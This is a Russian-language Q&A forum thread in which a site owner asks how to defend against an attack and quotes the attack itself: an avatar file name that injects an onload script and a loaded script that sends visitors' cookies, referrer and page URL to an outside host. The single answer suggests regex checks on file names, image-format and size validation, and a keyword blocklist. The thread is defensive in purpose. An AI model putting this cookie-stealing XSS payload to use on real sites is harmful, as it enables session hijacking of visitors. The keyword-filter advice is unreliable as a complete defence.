Как защитить сайт от такого взлома?

avatar.png" onload="let div=document.createElement('script');div.type='text/javascript';div.src='https://censored-domain/p/2.txt';document.body.append(div);


Код с подгружаемого файла:
function include_file(filename){
var js = document.createElement('script');
js.setAttribute('type', 'text/javascript');
js.setAttribute('src', filename);
js.setAttribute('defer', 'defer');
document.getElementsByTagName('HEAD')[0].appendChild(js);
var cur_file = {};
cur_file[window.location.href] = 1;
if (!window.php_js) window.php_js = {};
if (!window.php_js.includes) window.php_js.includes = cur_file;
if (!window.php_js.includes[filename]) {
window.php_js.includes[filename] = 1;
} else {
window.php_js.includes[filename]++;
}
return window.php_js.includes[filename];
}
var svurl = "https://censored-domain/p/?cookie=" + encodeURIComponent(document.cookie) + '&ref=' + encodeURIComponent(document.referrer) + '&path=' + encodeURIComponent(location.href);
include_file(svurl);
  • Вопрос задан
  • 795 просмотров
Решения вопроса 1
xmoonlight
@xmoonlight
https://sitecoder.blogspot.com
1. Имя загружаемого файла (и любые пользовательские текстовые данные) - проверять СТРОГО ТОЛЬКО ЧЕРЕЗ REGEX!

2. Проверять тело аватарки сразу после загрузки (пока файл во временной папке) на соответствие формату изображения. Например, запросив разрешение изображения или любое другое свойство, проверить заголовок.

3. Проверить валидность на минимальный и максимальный размер файла изображения.

4. И, заодно, бонусом, можно проверить тело файла на содержание любого из слов: script,document, window, onload, onerror, function, body,query, select,update, insert.

БОНУС: сигнатуры
Ответ написан
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы